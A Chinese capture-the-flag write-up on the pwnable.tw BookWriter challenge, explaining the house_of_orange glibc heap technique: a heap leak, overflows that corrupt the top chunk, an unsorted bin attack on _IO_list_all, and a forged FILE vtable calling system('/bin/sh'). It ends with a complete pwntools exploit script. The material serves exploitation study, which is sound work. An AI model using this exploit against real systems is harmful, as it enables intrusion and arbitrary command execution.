查看原文
其他

从BookWriter看house_of_orange原理

2017-12-30 pwnda 看雪学院



0x00 背景



最近在学习house_of_orange技术,house_of_orange技术已经和house_of_lore、house_of_Spirit一样,成为一种堆溢出利用技巧,思路来自ctf-HITCON-2016的同名题目。最近学习到这里,看了github上shellphish/how2heap中的讲解和多篇题解对漏洞触发条件依然不太理解,恰巧做到了pwnable.tw上的BookWriter题目,真正实践了一次。



0x01 题目分析



首先这是一道逻辑清晰的题目,主要有添加书页、浏览书页、编辑书页和查看信息功能。



其中定义了两个int[8]数组在BSS段,分别存储书页的地址和书页内容大小信息,两数组在BSS段上位置相邻。


1. 添加操作使用从0~8顺序查找的方式,进行堆块申请,堆块大小由用户输入,并且用户此时可获得一次输入堆块内容的机会。




2. 查看书页内容操作,用户可输入0~7的数字查询书页内容。




3. 编辑操作,用户同样可输入0~7数字,根据存储在size数组的大小进行写入,并利用strlen函数,重新更新书页的size值。




4. 查看信息。打印一系列信息。




题目中给出的libc.so版本是 2.23.





0x02 漏洞分析



1. 堆地址泄露


可以主要到bss段上的排列顺序是char author_name[0x40]、int page[8]、int page_size[8]。在输入author_name时,输入长度是0x40,打印时使用%s,造成泄露page中存储的堆地址。


2. 堆溢出


堆溢出漏洞有两处:


第一处在edit函数中,用户输入完数据后,程序使用strlen函数重置page_size的值,当用户输入与下一堆块中的size相连时,strlen会返回用户输入长度+下一堆块size,再次编辑造成了下一堆块的size被篡改。


第二处在于add函数中对允许写入的判断是i<=8,page[i]==NULL。可以发现&page[8] = &page[0]的地址,当page[0]被覆盖为一个堆块地址时,造成了对page[0]超长写入,可以覆盖到很远的地址,可以说是一个等号引发的血案了。



0x03 漏洞利用



整个程序中没有出现free函数,常规的UAF、Double free都不存在。看了很多的house_of_orange资料,恰好想到使用这种方法,这种攻击成功需要如下条件(shellphish上提供的方法):


1. heap地址

2. 堆溢出

3. libc地址

4. libc 2.23及以下版本(2.24版本开始对vtable有check,不过也可以绕过)


house_of_orange思路简介:


1. 首先修改top块的size,然后申请一个较大的块(不大于mmap申请的阈值,大于top块当前大小),当修改的size满足一定条件时,原来的top会被释放到unsorted bin。


2. 通过堆溢出覆写原top内容,主要是构造IO_file_plus指针中的函数虚表,并伪造bk指针为unsorted bin攻击做铺垫。


3. 当再次申请内存时,造成unsorted bin attack,将__IO_list_all覆写为原top头地址,由于unsorted bin结构的破坏,程序异常,会在malloc中调用malloc_printerr函数进行错误打印,在malloc_printerr中调用__libc_message,进一步调用abort(),再调用 _IO_flush_all_lockp(),在其中调用了_IO_OVERFLOW(fp,EOF),这个函数是使用虚表调用,如果可以覆盖调用的虚表,就可以达到执行system('/bin/sh')。


针对上述步骤可以在这道题中一一对照实现。


首先是修改top块的size,可以通过add一个块,edit两次进行对top头size的覆写,经过修改,top的地址与大小如图所示:



这个size块覆写必须满足两点要求,top块才可被释放到unsorted bin


1.size>=MINSIZE 2. pre_inuse 2. top地址+size-1 是页对齐的(以000结尾,比如此题中0x187a020+0xfe1-1 = 0x187b000)



当满足这一点时,再次申请一个较大堆块时就会把这个top块释放到unsorted bin中,值得注意的是,此题有一个在info函数中调用了scanf函数,scanf内部会申请一个0x1000大小的块,且不释放,就可以达到将原top头释放到unsorted bin的目的,并且可以此函数可以泄露堆地址。




由于申请小堆块是从unsorted bin直接切割,可以通过分配得到的堆块泄露libc地址(main_arena+88)。


接下来就可以堆溢出构造unsorted bin攻击了。


首先看漏洞的触发,在genops.c的_IO_flush_all_lockp (int do_lock)函数中,fp会从_IO_list_all开始,当不满足某条件时,循环修改fp = fp->chain,执行 _IO_OVERFLOW,_IO_list_all是一个_IO_FILE_plus类型的指针,再libc中。



查看_IO_list_all内容,IO_list_all是一个_IO_FILE_plus指针,指向_IO_2_2_stdout,

其中包含一个虚表vtable,用于函数调用,包括许多函数




因此,思路可以是通过unsorted bin,将_IO_list_all指针内容修改,可以改到main_arena+88也就是unsorted bin头的地址,当改成这个地址时,其内容时不满足执行_IO_OVERFLOW,转而去寻找位于chain这个位置的地址,继续执行。为了继续构造,可以去把这个地方的地址写成我们能控制内存的地址,这个位置是main_arena+216,是在fastbin链中,堆块大小为0x60的fastbin的地址,可以通过把unsorted bin中的原top挂到fastbin的方法来进一步利用,可把原top头的地址修改成0x61,并且修改bk指针为&_IO_list_all-0x10。这样通过malloc新建堆块时,由于unsorted bin中的堆块不唯一,就会把unsorted bin中堆块释放到bin中去,释放原top头时,会把该块挂载到fastbin[4],也就是我们期待的位置去,然后再处理bk指针,也就是_IO_list_all,会触发堆块大小为0的错误,进一步触发malloc_printerr 等一系列函数...




下一步就是在原top内伪造_IO_file_plus结构体,满足


1.fp->mode>0

2._IO_vtable_offset (fp) ==0

3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base


即可,构造的结构体如下:(不小心按错退出了,与原先的top地址有变化)




最终malloc一个堆块即可触发漏洞,获得shell



0x04 EXP



<span style="font-size: 13.86px;">from pwn import *

debug = 1

elf = ELF('./bookwriter')

if debug:

    p = process('./bookwriter')

    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    context.log_level = 'debug'

     

else:

    pass

 

def add(num,content):

    p.recvuntil('Your choice :')

    p.sendline('1')

    p.recvuntil('Size of page :')

    p.sendline(str(num))

    p.recvuntil('Content :')

    p.send(content)

def view(num):

    p.recvuntil('Your choice :')

    p.sendline('2')

    p.recvuntil('Index of page :')

    p.sendline(str(num))

def edit(num,content):

    p.recvuntil('Your choice :')

    p.sendline('3')

    p.recvuntil('Index of page :')

    p.sendline(str(num))

    p.recvuntil('Content:')

    p.send(content)

def info(num,content):

    p.recvuntil('Your choice :')

    p.sendline('4')

    p.recvuntil('(yes:1 / no:0) ')

    p.sendline(str(num))

    if(num):

        p.recvuntil('Author :')

        p.sendline(content)

    else:

        pass

def leak_heap():

    p.recvuntil('Your choice :')

    p.sendline('4')

    p.recvuntil('a'*0x40)

    result = u64(p.recvline()[0:-1].ljust(8,'\0'))

    p.recvuntil('(yes:1 / no:0) ')

    p.sendline('0')

    return result #int(resultq[0:-1],10)

#gdb.attach(p,'b *0x400bdd')

p.recvuntil('Author :')

p.sendline('a'*0x40)

add(0x18,'a'*0x18)   #0

edit(0,'a'*0x18)

edit(0,'\0'*0x18+'\xe1'+'\x0f'+'\0')

heap_addr = leak_heap()

for i in range(8):

    add(0x40,'p4nda123')#2

view(2)

p.recvuntil('p4nda123')

libc_addr  = u64(p.recvline()[0:-1].ljust(8,'\0'))

 

 

libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']

print 'libc_addr:',hex(libc_addr)

print 'system: ',hex(libc.symbols['system'])

print 'heap: ',hex(heap_addr)

edit(0,'\0'*0x290+'/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)+p64(0)*9+p64(libc.symbols['system']) + p64(0)*11 + p64(heap_addr+0x120+0x60+0x170) )

 

p.recvuntil('Your choice :')

p.sendline('1')

p.recvuntil('Size of page :')

p.sendline(str(0x10))

p.interactive()</span>


如有理解有误之处,希望大佬们指出改正...


参考:

https://www.anquanke.com/post/id/84987

https://zhuanlan.zhihu.com/p/31079264?utm_medium=social&utm_source=qq

http://www.cnblogs.com/shangye/p/6268981.html

https://github.com/shellphish/how2heap/blob/master/house_of_orange.c

https://www.sourceware.org/ml/libc-alpha/2016-02/msg00502.html



本文由看雪论坛 pwnda 原创

转载请注明来自看雪社区



热门阅读


点击阅读原文/read,

更多干货等着你~


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存